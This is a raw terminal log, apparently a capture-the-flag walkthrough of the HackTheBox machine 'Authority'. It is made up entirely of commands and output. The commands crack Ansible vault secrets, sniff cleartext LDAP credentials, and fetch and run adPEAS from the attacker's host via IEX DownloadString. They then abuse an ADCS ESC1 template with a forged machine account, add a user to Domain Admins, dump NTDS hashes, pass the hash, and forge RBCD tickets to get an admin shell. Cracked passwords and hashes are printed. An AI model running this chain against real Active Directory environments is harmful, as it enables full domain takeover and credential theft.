200 GET 334l 2089w 180418c http://10.10.11.222/iisstart.png
200 GET 32l 55w 703c http://10.10.11.222/
400 GET 6l 26w 324c http://10.10.11.222/error%1F_log
[####################] - 20s 30005/30005 0s found:3 errors:0
[####################] - 19s 30002/30002 1555/s http://10.10.11.222/ ❯ nxc smb 10.10.11.222 -u 'guest' -p ''
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\guest:
❯ nxc smb 10.10.11.222 -u 'guest' -p '' --shares
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\guest:
SMB 10.10.11.222 445 AUTHORITY [*] Enumerated shares
SMB 10.10.11.222 445 AUTHORITY Share Permissions Remark
SMB 10.10.11.222 445 AUTHORITY ----- ----------- ------
SMB 10.10.11.222 445 AUTHORITY ADMIN$ Remote Admin
SMB 10.10.11.222 445 AUTHORITY C$ Default share
SMB 10.10.11.222 445 AUTHORITY Department Shares
SMB 10.10.11.222 445 AUTHORITY Development READ
SMB 10.10.11.222 445 AUTHORITY IPC$ READ Remote IPC
SMB 10.10.11.222 445 AUTHORITY NETLOGON Logon server share
SMB 10.10.11.222 445 AUTHORITY SYSVOL Logon server share ❯ sudo mount -t cifs -o username='guest',password='' '//10.10.11.222/Development' /mnt/shares
[sudo] contraseña para kali:
❯ ls -l /mnt/shares
drwxr-xr-x root root 0 B Fri Mar 17 14:20:40 2023 Automation
❯ cp -r /mnt/shares/Automation .❯ cd Automation
❯ tree -a
.
└── Ansible
├── ADCS
│ ├── .ansible-lint
│ ├── defaults
│ │ └── main.yml
│ ├── LICENSE
│ ├── meta
│ │ ├── main.yml
│ │ └── preferences.yml
│ ├── molecule
│ │ └── default
│ │ ├── converge.yml
│ │ ├── molecule.yml
│ │ └── prepare.yml
│ ├── README.md
│ ├── requirements.txt
│ ├── requirements.yml
│ ├── SECURITY.md
│ ├── tasks
│ │ ├── assert.yml
│ │ ├── generate_ca_certs.yml
│ │ ├── init_ca.yml
│ │ ├── main.yml
│ │ └── requests.yml
│ ├── templates
│ │ ├── extensions.cnf.j2
│ │ └── openssl.cnf.j2
│ ├── tox.ini
│ ├── vars
│ │ └── main.yml
│ └── .yamllint
├── LDAP
│ ├── .bin
│ │ ├── clean_vault
│ │ ├── diff_vault
│ │ └── smudge_vault
│ ├── defaults
│ │ └── main.yml
│ ├── files
│ │ └── pam_mkhomedir
│ ├── handlers
│ │ └── main.yml
│ ├── meta
│ │ └── main.yml
│ ├── README.md
│ ├── tasks
│ │ └── main.yml
│ ├── templates
│ │ ├── ldap_sudo_groups.j2
│ │ ├── ldap_sudo_users.j2
│ │ ├── sssd.conf.j2
│ │ └── sudo_group.j2
│ ├── TODO.md
│ ├── .travis.yml
│ ├── Vagrantfile
│ └── vars
│ ├── debian.yml
│ ├── main.yml
│ ├── redhat.yml
│ └── ubuntu-14.04.yml
├── PWM
│ ├── ansible.cfg
│ ├── ansible_inventory
│ ├── defaults
│ │ └── main.yml
│ ├── handlers
│ │ └── main.yml
│ ├── meta
│ │ └── main.yml
│ ├── README.md
│ ├── tasks
│ │ └── main.yml
│ └── templates
│ ├── context.xml.j2
│ └── tomcat-users.xml.j2
└── SHARE
└── tasks
└── main.yml
27 directories, 52 files---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764❯ cat pwm_admin_login pwm_admin_password ldap_admin_password
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
❯ awk 'NR==1{print; next} {printf "%s", $0} END{print ""}' pwm_admin_login | tr -d ' ' > temp && mv temp pwm_admin_login
❯ awk 'NR==1{print; next} {printf "%s", $0} END{print ""}' pwm_admin_password | tr -d ' ' > temp && mv temp pwm_admin_password
❯ awk 'NR==1{print; next} {printf "%s", $0} END{print ""}' ldap_admin_password | tr -d ' ' > temp && mv temp ldap_admin_password
❯ cat pwm_admin_login pwm_admin_password ldap_admin_password
$ANSIBLE_VAULT;1.1;AES256
326665343864353665376531366637316331386162643232303835663339663466623131613262396134353663663462373265633832356663356239383039640a346431373431666433343434366139356536343763336662346134663965343430306561653964643235643733346162626134393430336334326263326364380a6530343137333266393234336261303438346635383264396362323065313438
$ANSIBLE_VAULT;1.1;AES256
313563383439633230633734353632613235633932356333653561346162616664333932633737363335616263326464633832376261306131303337653964350a363663623132353136346631396662386564323238303933393362313736373035356136366465616536373866346138623166383535303930356637306461350a3164666630373030376537613235653433386539346465336633653630356531
$ANSIBLE_VAULT;1.1;AES256
633038313035343032663564623737313935613133633130383761663365366662326264616536303437333035366235613437373733316635313530326639330a643034623530623439616136363563346462373361643564383830346234623235313163336231353831346562636632666539383333343238343230333633350a6466643965656330373334316261633065313363363266653164306135663764❯ ansible2john pwm_admin_login pwm_admin_password ldap_admin_password | tee hashes > hashes
❯ cat hashes
pwm_admin_login:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
pwm_admin_password:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
ldap_admin_password:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635❯ hashcat -a 0 -m 16900 hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5:!@#$%^&*
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8:!@#$%^&*
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635:!@#$%^&*❯ cat pwm_admin_login | ansible-vault decrypt; echo
Vault password:
Decryption successful
svc_pwm
❯ cat pwm_admin_password | ansible-vault decrypt; echo
Vault password:
Decryption successful
pWm_@dm!N_!23
❯ cat ldap_admin_password | ansible-vault decrypt; echo
Vault password:
Decryption successful
DevT3st@123❯ nc -nlvp 389
listening on [any] 389 ...❯ nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.222] 64084
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!❯ nxc smb 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
❯ nxc winrm 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
WINRM 10.10.11.222 5985 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb)
WINRM 10.10.11.222 5985 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)
❯ evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type ../Desktop/user.txt
8af7e606************************❯ wget https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
--2025-02-22 05:05:44-- https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.110.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3493853 (3,3M) [text/plain]
Grabando a: «adPEAS.ps1»
adPEAS.ps1 100%[===================================================================================================================================>] 3,33M 3,54MB/s en 0,9s
2025-02-22 05:05:46 (3,54 MB/s) - «adPEAS.ps1» guardado [3493853/3493853]
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Users\svc_ldap\Documents> IEX(New-Object Net.WebClient).downloadString("http://10.10.16.3/adPEAS.ps1")
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> Invoke-adPEAS[?] +++++ Searching for Active Directory Certificate Services Information +++++
[+] Found at least one available Active Directory Certificate Service
adPEAS does basic enumeration only, consider reading https://posts.specterops.io/certified-pre-owned-d95910965cd2
[+] Found Active Directory Certificate Services 'AUTHORITY-CA':
CA Name: AUTHORITY-CA
CA dnshostname: authority.authority.htb
CA IP Address: 10.10.11.222
Date of Creation: 04/24/2023 01:56:26
DistinguishedName: CN=AUTHORITY-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=authority,DC=htb
NTAuthCertificates: True
Available Templates: CorpVPN
AuthorityLDAPS
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[?] +++++ Searching for Vulnerable Certificate Templates +++++
adPEAS does basic enumeration only, consider using https://github.com/GhostPack/Certify or https://github.com/ly4k/Certipy
[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'
Template Name: CorpVPN
Template distinguishedname: CN=CorpVPN,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=authority,DC=htb
Date of Creation: 03/24/2023 23:48:09
[+] Extended Key Usage: Encrypting File System, Secure E-mail, Client Authentication, Document Signing, 1.3.6.1.5.5.8.2.2, IP Security User, KDC Authentication
EnrollmentFlag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
[!] CertificateNameFlag: ENROLLEE_SUPPLIES_SUBJECT
[+] Enrollment allowed for: HTB\Domain Computers❯ certipy-ad find -u 'svc_ldap'@10.10.11.222 -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : AUTHORITY.HTB\Administrators
Access Rights
ManageCertificates : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
ManageCa : AUTHORITY.HTB\Administrators
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Enroll : AUTHORITY.HTB\Authenticated Users
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : AutoEnrollmentCheckUserDsCertificate
PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Object Control Permissions
Owner : AUTHORITY.HTB\Administrator
Write Owner Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Dacl Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Property Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication❯ certipy-ad req -u 'svc_ldap'@10.10.11.222 -p 'lDaP_1n_th3_cle4r!' -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb -dc-ip 10.10.11.222
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 2
Would you like to save the private key? (y/N) [?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'[?] +++++ Checking Add-Computer Permissions +++++
[+] Filtering found identities that can add a computer object to domain 'authority.htb':
[!] The Machine Account Quota is currently set to 10
[!] Every member of group 'Authenticated Users' can add a computer to domain 'authority.htb'
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=authority,DC=htb
objectSid: S-1-5-11
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=authority,DC=htb
CN=Certificate Service DCOM Access,CN=Builtin,DC=authority,DC=htb
CN=Users,CN=Builtin,DC=authority,DC=htb❯ powerview authority.htb/'svc_ldap':'lDaP_1n_th3_cle4r!'@10.10.11.222 --dc-ip 10.10.11.222
Logging directory is set to /home/kali/.powerview/logs/authority-svc_ldap-10.10.11.222
[2025-02-22 05:13:25] [Storage] Using cache directory: /home/kali/.powerview/storage/ldap_cache
[2025-02-22 05:13:25] User svc_ldap has adminCount attribute set to 1. Might be admin somewhere somehow :)
(LDAPS)-[authority.authority.htb]-[HTB\svc_ldap]
PV > Add-ADComputer
[2025-02-22 05:13:32] -ComputerName and -ComputerPass are required
(LDAPS)-[authority.authority.htb]-[HTB\svc_ldap]
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123
[2025-02-22 05:13:49] Successfully added machine account Gzzcoo$ with password Gzzcoo123.PV > Add-ADComGet-ADObject -Identity Gzzcoo$
objectClass : top
person
organizationalPerson
user
computer
cn : Gzzcoo
distinguishedName : CN=Gzzcoo,CN=Computers,DC=authority,DC=htb
instanceType : 4
whenCreated : 22/02/2025 06:52:39 (today)
whenChanged : 22/02/2025 06:52:39 (today)
uSNCreated : 262368
uSNChanged : 262370
name : Gzzcoo
objectGUID : {beb65f20-e494-4c46-90b0-bfc2cbd3ea15}
userAccountControl : WORKSTATION_TRUST_ACCOUNT [4096]
badPwdCount : 0
codePage : 0
countryCode : 0
badPasswordTime : 01/01/1601 00:00:00 (424 years, 1 month ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 01/01/1601 00:00:00 (424 years, 1 month ago)
localPolicyFlags : 0
pwdLastSet : 22/02/2025 06:52:39 (today)
primaryGroupID : 515
objectSid : S-1-5-21-622327497-3269355298-2248959698-11601
accountExpires : 9999-12-31 23:59:59.999999+00:00
logonCount : 0
sAMAccountName : Gzzcooo$
sAMAccountType : SAM_MACHINE_ACCOUNT
dNSHostName : Gzzcoo.authority.htb
servicePrincipalName : RestrictedKrbHost/Gzzcoo.authority.htb
RestrictedKrbHost/Gzzcoo
HOST/Gzzcoo.authority.htb
HOST/Gzzcoo
objectCategory : CN=Computer,CN=Schema,CN=Configuration,DC=authority,DC=htb
isCriticalSystemObject : False
dSCorePropagationData : 01/01/1601
mS-DS-CreatorSID : S-1-5-21-622327497-3269355298-2248959698-1601❯ certipy-ad req -u 'Gzzcooo$'@10.10.11.222 -p 'Gzzcoo123' -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb -target 10.10.11.222
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain authority.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)❯ certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'administrator.crt'
❯ certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing private key to 'administrator.key'❯ python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] You are logged in as: HTB\Administrator❯ python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# help
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
whoami - get connected user
dirsync - Dirsync requested attributes
exit - Terminates this session.
# add_user_to_group svc_ldap "Domain Admins"
Adding user: svc_ldap to group Domain Admins result: OK*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net group "Domain Admins"
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator svc_ldap
The command completed successfully.❯ secretsdump.py authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'@10.10.11.222 -dc-ip 10.10.11.222 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:addf932778c269fb8c1a60e722569258:::
[*] Cleaning up... ❯ nxc smb 10.10.11.222 -u 'Administrator' -H '6961f422924da90a6928197429eea4ed'
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\Administrator:6961f422924da90a6928197429eea4ed (Pwn3d!)
❯ evil-winrm -i 10.10.11.222 -u 'Administrator' -H '6961f422924da90a6928197429eea4ed'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
ecfaa***************************❯ python3 /opt/PassTheCert/Python/passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -target svc_ldap -elevate
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Granted user 'svc_ldap' DCSYNC rights!❯ nxc smb 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
SMB 10.10.11.222 445 AUTHORITY [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB 10.10.11.222 445 AUTHORITY [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.11.222 445 AUTHORITY Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
SMB 10.10.11.222 445 AUTHORITY Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.222 445 AUTHORITY krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
SMB 10.10.11.222 445 AUTHORITY svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
SMB 10.10.11.222 445 AUTHORITY AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:addf932778c269fb8c1a60e722569258:::
SMB 10.10.11.222 445 AUTHORITY [+] Dumped 5 NTDS hashes to /home/kali/.nxc/logs/AUTHORITY_10.10.11.222_2025-02-22_090440.ntds of which 4 were added to the database
SMB 10.10.11.222 445 AUTHORITY [*] To extract only enabled accounts from the output file, run the following command:
SMB 10.10.11.222 445 AUTHORITY [*] cat /home/kali/.nxc/logs/AUTHORITY_10.10.11.222_2025-02-22_090440.ntds | grep -iv disabled | cut -d ':' -f1
SMB 10.10.11.222 445 AUTHORITY [*] grep -iv disabled /home/kali/.nxc/logs/AUTHORITY_10.10.11.222_2025-02-22_090440.ntds | cut -d ':' -f1❯ python3 /opt/PassTheCert/Python/passthecert.py -action add_computer -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -computer-name 'rbcd_gzzcoo$' -computer-pass 'Gzzcoo123'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account rbcd_gzzcoo$ with password Gzzcoo123.❯ python3 /opt/PassTheCert/Python/passthecert.py -action write_rbcd -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -delegate-to 'AUTHORITY$' -delegate-from 'rbcd_gzzcoo$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] rbcd_gzzcoo$ can now impersonate users on AUTHORITY$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] rbcd_gzzcoo$ (S-1-5-21-622327497-3269355298-2248959698-11604)❯ impacket-getST -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator -dc-ip 10.10.11.222 'authority.htb'/'rbcd_gzzcoo$':'Gzzcoo123' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache
❯ KRB5CCNAME=Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache wmiexec.py authority.htb/Administrator@AUTHORITY.authority.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
C:\>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::b2
IPv6 Address. . . . . . . . . . . : dead:beef::2bfa:d203:fefe:9258
Link-local IPv6 Address . . . . . : fe80::3dc8:5e09:6a49:d0ec%8
IPv4 Address. . . . . . . . . . . : 10.10.11.222
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:6791%8
